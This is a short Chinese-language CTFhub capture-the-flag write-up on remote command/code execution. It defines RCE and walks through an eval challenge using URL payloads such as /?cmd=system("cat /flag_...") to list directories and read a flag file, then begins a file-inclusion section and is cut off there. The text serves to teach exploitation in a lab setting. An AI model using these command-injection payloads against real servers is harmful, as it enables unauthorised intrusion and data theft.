CTFhub-RCE漏洞详解

   RCE英文全称：remote command/code execute（远程命令/代码执行漏洞）是互联网的一种安全漏洞。
   它可以让攻击者直接向后台服务器远程注入操作系统命令，相当于直接操控服务器电脑的cmd命令行！从而操控后台系统，高危漏洞！
   RCE漏洞产生的根本原因：服务器像php环境版本对可执行变量函数没有做过滤，导致在没有自定义相对路径的情况下就运行命令去执行,从而导致服务器被入侵。

一、eval执行

  我们直接在输入栏上输入类似cmd的命令行，直接操作web服务器执行我们所写的命令内容。
1.查看一下根目录文件

 /?cmd=system("ls");

2.返回上一级

/?cmd=system("ls /");

3.找到flag.

4.直接cat 出flag的文件

/?cmd=system("cat%20/flag_12832");

二、文件包含

  应用POST请求，我这里是使用的curl进行的请求
1.先看主页面有什么文件